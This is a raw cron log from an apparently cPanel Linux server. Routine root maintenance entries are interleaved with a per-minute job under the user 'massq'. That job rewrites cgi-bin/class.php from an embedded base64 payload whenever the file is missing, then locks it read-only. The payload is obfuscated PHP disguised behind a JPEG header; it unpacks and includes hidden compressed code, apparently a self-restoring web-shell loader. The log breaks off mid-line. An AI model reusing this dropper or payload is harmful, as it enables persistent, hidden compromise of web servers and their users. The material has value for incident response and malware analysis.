Aug 30 19:29:01 server CROND[22729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:30:01 server CROND[23367]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 19:30:01 server CROND[23369]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 19:30:01 server CROND[23372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:30:01 server CROND[23374]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:30:01 server CROND[23373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:30:01 server CROND[23376]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 19:30:01 server CROND[23377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:30:01 server CROND[23375]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:31:01 server CROND[24202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:31:01 server CROND[24203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:31:01 server CROND[24206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:32:01 server CROND[24574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:32:01 server CROND[24575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:32:01 server CROND[24576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:33:01 server CROND[24953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:33:01 server CROND[24954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:33:01 server CROND[24955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:34:01 server CROND[25338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:34:01 server CROND[25339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:34:01 server CROND[25340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:35:01 server CROND[25838]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:35:01 server CROND[25840]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 19:35:01 server CROND[25843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:35:01 server CROND[25841]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 19:35:01 server CROND[25845]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 19:35:01 server CROND[25842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:35:01 server CROND[25846]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 19:35:01 server CROND[25844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:35:01 server CROND[25848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:36:01 server CROND[26695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:36:01 server CROND[26696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:36:01 server CROND[26697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:37:01 server CROND[27088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:37:01 server CROND[27089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:37:01 server CROND[27090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:38:01 server CROND[27481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:38:01 server CROND[27480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:38:01 server CROND[27482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:39:01 server CROND[27867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:39:01 server CROND[27868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:39:01 server CROND[27869]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 19:39:01 server CROND[27866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:40:01 server CROND[28655]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 19:40:01 server CROND[28656]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 19:40:01 server CROND[28657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:40:01 server CROND[28664]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:40:01 server CROND[28665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:40:01 server CROND[28666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:40:01 server CROND[28671]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 19:40:01 server CROND[28670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 